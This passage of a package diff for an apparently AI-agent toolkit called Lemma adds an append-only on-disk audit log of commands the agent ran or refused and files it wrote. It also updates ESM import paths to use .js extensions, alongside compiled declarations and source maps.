EAAiE,CAAC;QACpN,IAAI,MAAM,CAAC,UAAU,CAAC,MAAM,KAAK,CAAC;YAAE,OAAO,IAAI,CAAC;QAChD,MAAM,SAAS,GAAG,MAAM,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAChE,OAAO,GAAG,IAAI,QAAQ,MAAM,CAAC,UAAU,CAAC,MAAM,kEAAkE,SAAS,4CAA4C,CAAC;IACxK,CAAC;IAAC,MAAM,CAAC;QACP,4DAA4D;QAC5D,OAAO,EAAE,CAAC;IACZ,CAAC;AACH,CAAC"}

package/dist/cjs/package.json

@@ -0,0 +1,3 @@
+{
+  "type": "commonjs"
+}

package/dist/cjs/utils/ExecAuditLog.d.ts

@@ -0,0 +1,27 @@
+/**
+ * ExecAuditLog — a persistent, append-only trail of every command Lemma ran or refused to
+ * run, and every file it wrote, outside of what any single session's in-memory ledger keeps.
+ *
+ * TokenReceipt's sessionLedger (../utils/TokenReceipt.ts) records similar events but only
+ * in a module-scoped array capped at 2000 entries and lost on process restart — fine for
+ * "what did this session just do", useless for "what has Lemma ever done in this workspace".
+ * This file exists so that question has a real, on-disk answer: same `~/.lemma-cache/`
+ * convention as SavingsLedger, but append-only JSONL rather than whole-file rewrite, so a
+ * crash mid-session can't lose prior entries.
+ */
+export type ExecAuditTool = "run_workspace_command" | "write_workspace_file" | "create_workspace_file" | "apply_workspace_patch";
+export interface ExecAuditEntry {
+    tool: ExecAuditTool;
+    /** Command text for run_workspace_command, resolved file path for write/create/patch tools. */
+    detail: string;
+    allowed: boolean;
+    /** Only set for run_workspace_command once it actually ran. */
+    exitCode?: number | null;
+    reason?: string;
+    timestamp: string;
+}
+export declare function recordExecAudit(entry: Omit<ExecAuditEntry, "timestamp">): void;
+/** Reads back the audit trail. Exposed mainly for tests; the file itself is plain JSONL. */
+export declare function readExecAuditLog(limit?: number): ExecAuditEntry[];
+export declare function getExecAuditLogPath(): string;
+//# sourceMappingURL=ExecAuditLog.d.ts.map

package/dist/cjs/utils/ExecAuditLog.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"ExecAuditLog.d.ts","sourceRoot":"","sources":["../../../src/utils/ExecAuditLog.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAQH,MAAM,MAAM,aAAa,GACrB,uBAAuB,GACvB,sBAAsB,GACtB,uBAAuB,GACvB,uBAAuB,CAAC;AAE5B,MAAM,WAAW,cAAc;IAC7B,IAAI,EAAE,aAAa,CAAC;IACpB,+FAA+F;IAC/F,MAAM,EAAE,MAAM,CAAC;IACf,OAAO,EAAE,OAAO,CAAC;IACjB,+DAA+D;IAC/D,QAAQ,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;IACzB,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,MAAM,CAAC;CACnB;AAED,wBAAgB,eAAe,CAAC,KAAK,EAAE,IAAI,CAAC,cAAc,EAAE,WAAW,CAAC,GAAG,IAAI,CAW9E;AAED,4FAA4F;AAC5F,wBAAgB,gBAAgB,CAAC,KAAK,CAAC,EAAE,MAAM,GAAG,cAAc,EAAE,CASjE;AAED,wBAAgB,mBAAmB,IAAI,MAAM,CAE5C"}

package/dist/cjs/utils/ExecAuditLog.js

@@ -0,0 +1,53 @@
+"use strict";
+/**
+ * ExecAuditLog — a persistent, append-only trail of every command Lemma ran or refused to
+ * run, and every file it wrote, outside of what any single session's in-memory ledger keeps.
+ *
+ * TokenReceipt's sessionLedger (../utils/TokenReceipt.ts) records similar events but only
+ * in a module-scoped array capped at 2000 entries and lost on process restart — fine for
+ * "what did this session just do", useless for "what has Lemma ever done in this workspace".
+ * This file exists so that question has a real, on-disk answer: same `~/.lemma-cache/`
+ * convention as SavingsLedger, but append-only JSONL rather than whole-file rewrite, so a
+ * crash mid-session can't lose prior entries.
+ */
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.recordExecAudit = recordExecAudit;
+exports.readExecAuditLog = readExecAuditLog;
+exports.getExecAuditLogPath = getExecAuditLogPath;
+const fs_1 = __importDefault(require("fs"));
+const path_1 = __importDefault(require("path"));
+const HOME = process.env.HOME || process.env.USERPROFILE || "~";
+const AUDIT_LOG_FILE = path_1.default.join(HOME, ".lemma-cache", "exec-audit.jsonl");
+function recordExecAudit(entry) {
+    try {
+        const dir = path_1.default.dirname(AUDIT_LOG_FILE);
+        if (!fs_1.default.existsSync(dir)) {
+            fs_1.default.mkdirSync(dir, { recursive: true });
+        }
+        const line = JSON.stringify({ ...entry, timestamp: new Date().toISOString() });
+        fs_1.default.appendFileSync(AUDIT_LOG_FILE, line + "\n", "utf8");
+    }
+    catch {
+        // Auditing must never be why a legitimate action fails.
+    }
+}
+/** Reads back the audit trail. Exposed mainly for tests; the file itself is plain JSONL. */
+function readExecAuditLog(limit) {
+    try {
+        if (!fs_1.default.existsSync(AUDIT_LOG_FILE))
+            return [];
+        const lines = fs_1.default.readFileSync(AUDIT_LOG_FILE, "utf8").split("\n").filter((l) => l.trim().length > 0);
+        const entries = lines.map((l) => JSON.parse(l));
+        return limit ? entries.slice(-limit) : entries;
+    }
+    catch {
+        return [];
+    }
+}
+function getExecAuditLogPath() {
+    return AUDIT_LOG_FILE;
+}
+//# sourceMappingURL=ExecAuditLog.js.map

package/dist/cjs/utils/ExecAuditLog.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ExecAuditLog.js","sourceRoot":"","sources":["../../../src/utils/ExecAuditLog.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;;;AAyBH,0CAWC;AAGD,4CASC;AAED,kDAEC;AAlDD,4CAAoB;AACpB,gDAAwB;AAExB,MAAM,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,OAAO,CAAC,GAAG,CAAC,WAAW,IAAI,GAAG,CAAC;AAChE,MAAM,cAAc,GAAG,cAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,EAAE,kBAAkB,CAAC,CAAC;AAmB3E,SAAgB,eAAe,CAAC,KAAwC;IACtE,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,cAAI,CAAC,OAAO,CAAC,cAAc,CAAC,CAAC;QACzC,IAAI,CAAC,YAAE,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE,CAAC;YACxB,YAAE,CAAC,SAAS,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QACzC,CAAC;QACD,MAAM,IAAI,GAAG,IAAI,CAAC,SAAS,CAAC,EAAE,GAAG,KAAK,EAAE,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE,EAAE,CAAC,CAAC;QAC/E,YAAE,CAAC,cAAc,CAAC,cAAc,EAAE,IAAI,GAAG,IAAI,EAAE,MAAM,CAAC,CAAC;IACzD,CAAC;IAAC,MAAM,CAAC;QACP,wDAAwD;IAC1D,CAAC;AACH,CAAC;AAED,4FAA4F;AAC5F,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,IAAI,CAAC;QACH,IAAI,CAAC,YAAE,CAAC,UAAU,CAAC,cAAc,CAAC;YAAE,OAAO,EAAE,CAAC;QAC9C,MAAM,KAAK,GAAG,YAAE,CAAC,YAAY,CAAC,cAAc,EAAE,MAAM,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;QACrG,MAAM,OAAO,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAmB,CAAC,CAAC;QAClE,OAAO,KAAK,CAAC,CAAC,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC;IACjD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,EAAE,CAAC;IACZ,CAAC;AACH,CAAC;AAED,SAAgB,mBAAmB;IACjC,OAAO,cAAc,CAAC;AACxB,CAAC"}

package/dist/esm/api/dashboardRoutes.d.ts

@@ -13,9 +13,9 @@
  *   POST /api/debugger/rewind - Rewind to event state
  */
 import { Router } from 'express';
-import { OrchestrationEngine } from '../core/OrchestrationEngine';
-import { AgentRegistry } from '../core/AgentRegistry';
-import { SubconsciousEngine } from '../core/SubconsciousEngine';
+import { OrchestrationEngine } from '../core/OrchestrationEngine.js';
+import { AgentRegistry } from '../core/AgentRegistry.js';
+import { SubconsciousEngine } from '../core/SubconsciousEngine.js';
 interface DashboardAPIContext {
     eventLog: any[];
     orchestrationEngine: OrchestrationEngine;

package/dist/esm/api/dashboardRoutes.js

@@ -13,7 +13,7 @@
  *   POST /api/debugger/rewind - Rewind to event state
  */
 import { Router } from 'express';
-import { createLogger } from '../utils/logger';
+import { createLogger } from '../utils/logger.js';
 const logger = createLogger('DashboardAPI');
 export function createDashboardRouter(context) {
     const router = Router();

package/dist/esm/api/server.d.ts

@@ -3,10 +3,10 @@
  * Express server for dashboard metrics and analytics endpoints
  * Runs on port 3001 by default
  */
-import { DashboardWebSocketServer } from '../core/DashboardWebSocketServer';
-import { OrchestrationEngine } from '../core/OrchestrationEngine';
-import { AgentRegistry } from '../core/AgentRegistry';
-import { SubconsciousEngine } from '../core/SubconsciousEngine';
+import { DashboardWebSocketServer } from '../core/DashboardWebSocketServer.js';
+import { OrchestrationEngine } from '../core/OrchestrationEngine.js';
+import { AgentRegistry } from '../core/AgentRegistry.js';
+import { SubconsciousEngine } from '../core/SubconsciousEngine.js';
 export interface ServerConfig {
     port?: number;
     host?: string;